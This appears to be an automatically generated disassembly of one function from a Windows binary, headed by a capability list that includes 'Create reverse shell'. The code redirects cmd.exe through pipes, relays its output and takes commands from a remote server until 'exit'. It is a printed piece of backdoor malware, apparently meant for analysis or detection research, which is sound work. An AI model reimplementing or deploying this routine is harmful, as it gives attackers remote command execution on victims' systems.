Function at 0x402ec0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x425ab3
mov eax, dword fs:[0]
push eax
sub esp, 0xdc
mov eax, dword [0x432014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xe0], ecx
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
lea eax, [ebp - 0x80]
push 0
push eax
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x80], 0xc
push eax
lea eax, [ebp - 0x70]
mov dword [ebp - 0x78], 1
push eax
mov dword [ebp - 0x7c], 0
call esi
test eax, eax
jne 0x402f41
mov edx, str.hStdIn_CreatePipe_failed
mov ecx, 0x4330d0
call fcn.00406020
push eax
call fcn.00405f80
add esp, 4
xor eax, eax
jmp 0x4034d7
mov edi, dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push 0
push 1
push dword [ebp - 0x6c]
call edi
push 0
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x68]
push eax
call esi
test eax, eax
jne 0x402f6b
mov edx, str.hStdOut_CreatePipe_failed
jmp 0x402f27
push 0
push 1
push dword [ebp - 0x68]
call edi
xor eax, eax
mov dword [ebp - 0x92], 0
xorps xmm0, xmm0
mov word [ebp - 0x8e], ax
mov word [ebp - 0x94], ax
lea ecx, [ebp - 0x64]
mov eax, dword [ebp - 0x70]
push 0xa
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x74]
push str.connect_OK
movlpd qword [ebp - 0xc0], xmm0
movlpd qword [ebp - 0xb8], xmm0
movlpd qword [ebp - 0xb0], xmm0
movlpd qword [ebp - 0xa8], xmm0
movlpd qword [ebp - 0xa0], xmm0
mov dword [ebp - 0xc4], 0x44
mov dword [ebp - 0x98], 0x101
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x4c], 0x646d63
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0
call fcn.00406510
lea eax, [ebp - 0xd4]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0xc4]
push eax
push 0
push 0
push 0
push 1
lea eax, [ebp - 0x80]
push eax
push eax
lea eax, [ebp - 0x4c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x403076
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov edx, str.CreateProcess_failed__
mov ecx, 0x4330d0
call fcn.00406020
mov ecx, eax
call fcn.00403ee0
mov edx, 0x42ebc8
mov ecx, eax
call fcn.00406020
push eax
call fcn.00405f80
add esp, 4
jmp 0x4033e5
sub esp, 0x18
lea eax, [ebp - 0x64]
mov ecx, esp
mov dword [ebp - 0xdc], esp
push eax
call fcn.00404390
sub esp, 0x18
mov byte [ebp - 4], 1
mov ecx, esp
xorps xmm0, xmm0
push 4
movups xmmword [ecx], xmm0
push str._cmd
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00406510
mov ecx, dword [ebp - 0xe0]
mov byte [ebp - 4], 0
call fcn.00402610
add esp, 0x30
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
xor esi, esi
mov edi, 0xf
mov dword [ebp - 0x34], esi
movups xmmword [ebp - 0x44], xmm0
mov dword [ebp - 0x30], edi
mov byte [ebp - 0x44], 0
push esi
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 2
push eax
push esi
push esi
push esi
push dword [ebp - 0x68]
mov dword [ebp - 0x2c], esi
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [ebp - 0x2c], esi
je 0x403173
push 0
push 0
push 1
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x68]
call dword [sym.imp.KERNEL32.dll_ReadFile]
lea ecx, [ebp - 0x44]
cmp esi, edi
jae 0x403139
cmp edi, 0x10
lea eax, [esi + 1]
mov dword [ebp - 0x34], eax
cmovae ecx, dword [ebp - 0x44]
mov al, byte [ebp - 0x48]
mov byte [ecx + esi], al
mov byte [ecx + esi + 1], 0
jmp 0x403150
push dword [ebp - 0x48]
mov byte [ebp - 0xe4], 0
push dword [ebp - 0xe4]
push 1
call fcn.00406730
push 0
lea eax, [ebp - 0x2c]
push eax
push 0
push 0
push 0
push dword [ebp - 0x68]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [ebp - 0x2c], 0
je 0x403173
mov edi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x34]
jmp 0x403105
sub esp, 0x18
lea eax, [ebp - 0x44]
mov ecx, esp
mov dword [ebp - 0xdc], esp
push eax
call fcn.00404390
sub esp, 0x18
mov byte [ebp - 4], 3
mov ecx, esp
xorps xmm0, xmm0
push 4
movups xmmword [ecx], xmm0
push str._cmd
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00406510
mov ecx, dword [ebp - 0xe0]
mov byte [ebp - 4], 2
call fcn.00402610
mov edx, dword [ebp - 0xe0]
lea ecx, [ebp - 0x28]
add esp, 0x30
call fcn.00402b60
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x18]
test edx, edx
je 0x403458
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x28]
mov esi, dword [ebp - 0x28]
cmovae ecx, esi
setae byte [ebp - 0xd5]
cmp byte [ecx], 0x63
jne 0x403449
cmp edx, 2
jb 0x4034f7
lea eax, [edx - 2]
mov ecx, 4
cmp eax, ecx
mov dword [ebp - 0xdc], eax
mov edi, ecx
mov edx, str.exit
cmovb edi, eax
cmp byte [ebp - 0xd5], 0
lea eax, [ebp - 0x28]
cmovne eax, esi
cmp edi, ecx
mov esi, edi
cmova esi, ecx
lea ecx, [eax + 2]
sub esi, 4
jb 0x403251
nop dword [eax + eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x403256
add ecx, 4
add edx, 4
sub esi, 4
jae 0x403240
cmp esi, 0xfffffffc
je 0x40328a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x403283
cmp esi, 0xfffffffd
je 0x40328a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x403283
cmp esi, 0xfffffffe
je 0x40328a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x403283
cmp esi, 0xffffffff
je 0x40328a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x40328a
sbb eax, eax
or eax, 1
jmp 0x40328c
xor eax, eax
test eax, eax
jne 0x40329b
cmp edi, 4
jb 0x40329b
jbe 0x403353
cmp byte [ebp - 0xd5], 0
lea eax, [ebp - 0x28]
push 0
cmovne eax, dword [ebp - 0x28]
push 0
push dword [ebp - 0xdc]
add eax, 2
push eax
push dword [ebp - 0x6c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40343a
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x403300
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4032f6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4034fc
push ecx
push edx
call fcn.00409896
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
cmp ecx, 0x10
jb 0x4030c5
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403344
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4034fc
push ecx
push edx
call fcn.00409896
add esp, 8
jmp 0x4030c5
mov edx, str.exit
mov ecx, 0x432fd8
call fcn.00406020
push eax
call fcn.00405f80
mov ecx, dword [ebp - 0x14]
add esp, 4
cmp ecx, 0x10
jb 0x40339f
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403395
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4034fc
push ecx
push edx
call fcn.00409896
add esp, 8
mov ecx, dword [ebp - 0x30]
mov byte [ebp - 0x28], 0
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
cmp ecx, 0x10
jb 0x4033e5
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4033db
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4034fc
push ecx
push edx
call fcn.00409896
add esp, 8
push 0
push dword [ebp - 0xd4]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x70]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x74]
call esi
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x4034d7
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4034cd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4034f2
jmp 0x4034cd
mov edx, str.Couldnt_hand_a_command
mov ecx, 0x4330d0
jmp 0x40335d
mov edx, str.Server_didnt_follow_the_protocol...
mov ecx, 0x4330d0
jmp 0x40335d
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
jb 0x403488
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40347e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4034fc
push ecx
push edx
call fcn.00409896
add esp, 8
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
cmp ecx, 0x10
jb 0x4033e5
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4033db
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4034fc
jmp 0x4033db
push ecx
push edx
call fcn.00409896
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00409853
mov esp, ebp
pop ebp
ret
call fcn.00410e4d
call fcn.00405df0
call fcn.00410e4d
int3